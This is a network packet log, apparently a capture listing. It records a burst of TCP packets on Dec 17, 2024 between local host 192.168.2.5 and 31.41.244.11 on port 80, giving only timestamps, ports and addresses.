Dec 17, 2024 08:03:48.306693077 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.306767941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.306813955 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.310626984 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.310750008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.310812950 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.315257072 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.315387011 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.315414906 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.315483093 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.318119049 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.318186045 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.318205118 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.318248034 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.320463896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.322900057 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.413563967 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.413645983 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.413752079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.414891005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.414951086 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.415040016 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.415174007 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.417768002 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.417840958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.417876005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.417920113 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.420593023 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.420644999 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.420701981 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.420751095 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.423470020 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.423521996 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.423553944 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.423598051 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.426223993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.426275015 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.426282883 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.426326990 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.428946018 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.429013014 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.429044008 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.429089069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.431602955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.431654930 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.431685925 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.431729078 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.434334993 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.434354067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.434380054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.434401035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.436785936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.436836958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.436887980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.436938047 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.439301968 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.439354897 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.439414978 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.439460039 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.441879034 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.441930056 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.441971064 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.442017078 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.444343090 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.444391966 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.444448948 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.444494963 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.446780920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.446830988 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.446886063 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.446929932 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.449253082 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.449327946 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.449368000 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.449413061 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.451648951 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.451702118 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.451742887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.451786995 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.454113007 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.454161882 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.454231024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.454277039 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.456561089 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.456610918 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.456650972 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.456697941 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.458961964 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.459012032 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.459053040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.459095955 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.461421967 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.461471081 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.461510897 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.461555958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.463879108 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.463927984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.464054108 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.464099884 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.466290951 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.466340065 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.466382027 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.466424942 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.468725920 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.468776941 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.468847036 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.468889952 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.471220016 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.471271992 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.471348047 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.471400976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.473752022 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.473800898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.473850965 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.473896027 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.476103067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.476154089 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.476175070 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.476218939 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.478770018 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.478786945 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.478827953 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.478852034 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.480973959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.481024981 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.481028080 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.481092930 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.483378887 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.483438015 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.483500004 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.483547926 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.485953093 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.485986948 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.486010075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.486030102 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.488269091 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.488322973 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.488348007 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.488390923 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.490705013 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.490758896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.490781069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.490799904 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.493242025 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.493290901 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.493333101 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.493376970 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.495620012 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.495668888 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.495704889 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.495749950 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.498404980 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.498454094 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.498492956 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.498538017 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.500659943 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.500711918 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.500777960 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.500823975 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.502926111 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.502975941 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.503032923 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.503077984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.505335093 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.505383968 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.505496025 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.505539894 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.507782936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.507833958 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.507864952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.507910967 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.510253906 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.510308027 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.510345936 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.510391951 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.512703896 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.512775898 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.512808084 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.512852907 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.515115023 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.515166044 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.515192986 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.515274048 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.517554045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.517602921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.517673016 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.517720938 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.520004034 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.520056009 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.520095110 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.520138025 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.522425890 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.522478104 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.522507906 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.522551060 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.524863005 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.524941921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.524983883 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.525028944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.527307987 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.527362108 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.527425051 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.527472019 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.529781103 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.529834032 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.529871941 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.529918909 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.532162905 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.532215118 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.532269955 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.532315969 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.534631968 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.534682035 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.534733057 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.534780979 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.537096024 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.537168980 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.605879068 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.605936050 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.606064081 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.606188059 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.606857061 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.606904984 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.606973886 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.607044935 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.609302044 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.609416962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.609462976 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.610924959 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.610974073 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.611053944 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.611116886 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.612746954 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.612799883 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.612799883 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.612840891 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.614661932 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.614763021 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.614809036 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.616470098 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.616518974 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.616580009 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.616624117 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.618410110 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.618457079 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.618496895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.618542910 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.620232105 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.620289087 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.620390892 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.622040033 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.622071981 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.622096062 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.622132063 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.626132965 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.626151085 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.626187086 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.626209974 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.626291990 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.626358032 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.626544952 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.626620054 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.628199100 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.628379107 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.628426075 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.630004883 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.630079031 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.630176067 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.630225897 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.631572962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.631618977 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.631843090 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.631890059 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.633524895 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.633543015 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.633582115 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.635073900 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.635091066 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.635118008 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.635143995 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.635859013 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.635907888 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.636006117 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.636064053 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.637514114 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.637563944 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.637603998 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.637649059 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.639149904 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.639214993 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.639252901 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.639497995 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.640789032 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.640845060 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.640883923 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.640924931 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.642374039 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.642429113 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.642550945 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.642874002 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.644052982 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.644103050 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.644134045 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.645617962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.645670891 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.645723104 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.645770073 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.647207975 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.647264004 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.647335052 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.648777962 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.648828030 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.648941040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.648986101 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.650341988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.650407076 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.650444031 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.650490046 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.651885033 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.651921988 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.651982069 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.653415918 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.653542042 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.653593063 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.654943943 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.655050039 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.655075073 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.655083895 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.656471968 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.656598091 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.656647921 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.658035040 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.658201933 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.658224106 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.658246994 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.659513950 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.659553051 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.659594059 CET	80	49920	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:48.659640074 CET	49920	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:48.661005974 CET	80	49920	31.41.244.11	192.168.2.5
